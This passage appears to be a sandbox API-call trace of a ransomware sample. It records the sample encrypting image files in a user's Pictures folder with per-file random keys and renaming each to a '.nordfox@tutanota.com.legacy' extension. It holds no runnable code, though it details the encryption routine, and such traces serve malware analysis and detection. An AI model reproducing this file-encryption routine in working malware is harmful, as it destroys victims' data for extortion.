[0112.872] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\rL5cLP.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\rl5clp.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\rL5cLP.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\rl5clp.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ff0 | out: hHeap=0x520000) returned 1 [0112.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.874] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0112.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d870 [0112.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0112.874] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0112.875] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0112.875] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3408 | out: pbBuffer=0x5c3408) returned 1 [0112.875] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\pWSuY9z6L9l.jpg", dwFileAttributes=0x80) returned 1 [0112.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e81f8 [0112.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.875] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\pWSuY9z6L9l.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\pwsuy9z6l9l.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.876] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=83405) returned 1 [0112.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x145cd) returned 0x5e9bd0 [0112.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x145cd) returned 0x5fe1a8 [0112.876] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x145cd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x145cd, lpOverlapped=0x0) returned 1 [0112.879] SetFilePointer (in: hFile=0x600, lDistanceToMove=-83405, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.879] WriteFile (in: hFile=0x600, lpBuffer=0x5fe1a8*, nNumberOfBytesToWrite=0x145cd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fe1a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x145cd, lpOverlapped=0x0) returned 1 [0112.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.880] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fe1a8 | out: hHeap=0x520000) returned 1 [0112.882] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x145cd [0112.882] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.882] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.883] WriteFile (in: hFile=0x600, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.883] WriteFile (in: hFile=0x600, lpBuffer=0x5c3408*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3408*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.884] CloseHandle (hObject=0x600) returned 1 [0112.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0112.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0112.884] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\pWSuY9z6L9l.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\pwsuy9z6l9l.jpg"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\pWSuY9z6L9l.jpg.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\pwsuy9z6l9l.jpg.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81f8 | out: hHeap=0x520000) returned 1 [0112.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0112.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e178 [0112.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3be8 [0112.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34f8 [0112.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3be8 | out: pbBuffer=0x5c3be8) returned 1 [0112.886] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34f8 | out: pbBuffer=0x5c34f8) returned 1 [0112.886] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\OTeqwCvRYPxMGw.png", dwFileAttributes=0x80) returned 1 [0112.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57ea68 [0112.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7c38 [0112.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ea68 | out: hHeap=0x520000) returned 1 [0112.887] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\OTeqwCvRYPxMGw.png" (normalized: "c:\\users\\fd1hvy\\pictures\\oteqwcvrypxmgw.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.887] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=28970) returned 1 [0112.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x712a) returned 0x5e9bd0 [0112.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x712a) returned 0x5f0d08 [0112.887] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x712a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x712a, lpOverlapped=0x0) returned 1 [0112.898] SetFilePointer (in: hFile=0x600, lDistanceToMove=-28970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.898] WriteFile (in: hFile=0x600, lpBuffer=0x5f0d08*, nNumberOfBytesToWrite=0x712a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5f0d08*, lpNumberOfBytesWritten=0x2e1f9bc*=0x712a, lpOverlapped=0x0) returned 1 [0112.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.898] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5f0d08 | out: hHeap=0x520000) returned 1 [0112.898] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x712a [0112.898] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.898] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3be8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.899] WriteFile (in: hFile=0x600, lpBuffer=0x5c3be8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3be8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.910] WriteFile (in: hFile=0x600, lpBuffer=0x5c34f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.911] CloseHandle (hObject=0x600) returned 1 [0112.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3be8 | out: hHeap=0x520000) returned 1 [0112.911] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34f8 | out: hHeap=0x520000) returned 1 [0112.911] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\OTeqwCvRYPxMGw.png" (normalized: "c:\\users\\fd1hvy\\pictures\\oteqwcvrypxmgw.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\OTeqwCvRYPxMGw.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\oteqwcvrypxmgw.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7c38 | out: hHeap=0x520000) returned 1 [0112.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e178 | out: hHeap=0x520000) returned 1 [0112.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ea00 | out: hHeap=0x520000) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d818 [0112.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0112.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0112.913] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0112.913] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0112.913] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\okNU3my.bmp", dwFileAttributes=0x80) returned 1 [0112.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d920 [0112.913] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563960 [0112.913] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0112.913] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\okNU3my.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\oknu3my.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.914] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=20004) returned 1 [0112.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4e24) returned 0x5e9bd0 [0112.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4e24) returned 0x5eea00 [0112.914] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x4e24, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e24, lpOverlapped=0x0) returned 1 [0112.915] SetFilePointer (in: hFile=0x600, lDistanceToMove=-20004, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.915] WriteFile (in: hFile=0x600, lpBuffer=0x5eea00*, nNumberOfBytesToWrite=0x4e24, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5eea00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e24, lpOverlapped=0x0) returned 1 [0112.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5eea00 | out: hHeap=0x520000) returned 1 [0112.916] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e24 [0112.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.916] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.916] WriteFile (in: hFile=0x600, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.916] WriteFile (in: hFile=0x600, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.917] CloseHandle (hObject=0x600) returned 1 [0112.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0112.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0112.917] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\okNU3my.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\oknu3my.bmp"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\okNU3my.bmp.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\oknu3my.bmp.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563960 | out: hHeap=0x520000) returned 1 [0112.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e8c8 [0112.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0112.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0112.919] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0112.919] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0112.919] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\nx 49yt XpGBdB5.png", dwFileAttributes=0x80) returned 1 [0112.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e1e0 [0112.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0112.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e1e0 | out: hHeap=0x520000) returned 1 [0112.919] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\nx 49yt XpGBdB5.png" (normalized: "c:\\users\\fd1hvy\\pictures\\nx 49yt xpgbdb5.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.920] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=90252) returned 1 [0112.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1608c) returned 0x5e9bd0 [0112.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1608c) returned 0x2e20fd8 [0112.921] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x1608c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x1608c, lpOverlapped=0x0) returned 1 [0112.924] SetFilePointer (in: hFile=0x600, lDistanceToMove=-90252, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.925] WriteFile (in: hFile=0x600, lpBuffer=0x2e20fd8*, nNumberOfBytesToWrite=0x1608c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20fd8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1608c, lpOverlapped=0x0) returned 1 [0112.925] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20fd8 | out: hHeap=0x520000) returned 1 [0112.929] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1608c [0112.929] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.929] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.930] WriteFile (in: hFile=0x600, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.930] WriteFile (in: hFile=0x600, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.930] CloseHandle (hObject=0x600) returned 1 [0112.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0112.931] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0112.931] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\nx 49yt XpGBdB5.png" (normalized: "c:\\users\\fd1hvy\\pictures\\nx 49yt xpgbdb5.png"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\nx 49yt XpGBdB5.png.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\nx 49yt xpgbdb5.png.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0112.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e8c8 | out: hHeap=0x520000) returned 1 [0112.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d298 [0112.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c38d0 [0112.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0112.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c38d0 | out: pbBuffer=0x5c38d0) returned 1 [0112.933] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33f8 | out: pbBuffer=0x5c33f8) returned 1 [0112.933] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\NcQCE8HmyFy.gif", dwFileAttributes=0x80) returned 1 [0112.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56cfd8 [0112.933] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7a10 [0112.933] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0112.933] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\NcQCE8HmyFy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ncqce8hmyfy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.934] GetFileSizeEx (in: hFile=0x600, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=84288) returned 1 [0112.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14940) returned 0x5e9bd0 [0112.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x14940) returned 0x5fe518 [0112.934] ReadFile (in: hFile=0x600, lpBuffer=0x5e9bd0, nNumberOfBytesToRead=0x14940, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5e9bd0*, lpNumberOfBytesRead=0x2e1f9bc*=0x14940, lpOverlapped=0x0) returned 1 [0112.938] SetFilePointer (in: hFile=0x600, lDistanceToMove=-84288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.938] WriteFile (in: hFile=0x600, lpBuffer=0x5fe518*, nNumberOfBytesToWrite=0x14940, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5fe518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x14940, lpOverlapped=0x0) returned 1 [0112.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9bd0 | out: hHeap=0x520000) returned 1 [0112.939] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5fe518 | out: hHeap=0x520000) returned 1 [0112.940] SetFilePointer (in: hFile=0x600, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x14940 [0112.940] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0112.940] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c38d0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.941] WriteFile (in: hFile=0x600, lpBuffer=0x5c38d0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c38d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.942] WriteFile (in: hFile=0x600, lpBuffer=0x5c33f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.942] CloseHandle (hObject=0x600) returned 1 [0112.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c38d0 | out: hHeap=0x520000) returned 1 [0112.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0112.942] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Pictures\\NcQCE8HmyFy.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ncqce8hmyfy.gif"), lpNewFileName="\\Users\\FD1HVy\\Pictures\\NcQCE8HmyFy.gif.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\ncqce8hmyfy.gif.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7a10 | out: hHeap=0x520000) returned 1 [0112.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0112.944] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0112.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0112.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c55b0 [0112.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0112.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0112.944] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0112.944] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Pictures\\kBSfGZV0C85sqciF.jpg", dwFileAttributes=0x80) returned 1 [0112.944] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x57e520 [0112.945] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7fd0 [0112.945] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e520 | out: hHeap=0x520000) returned 1 [0112.945] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\kBSfGZV0C85sqciF.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\kbsfgzv0c85sqcif.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 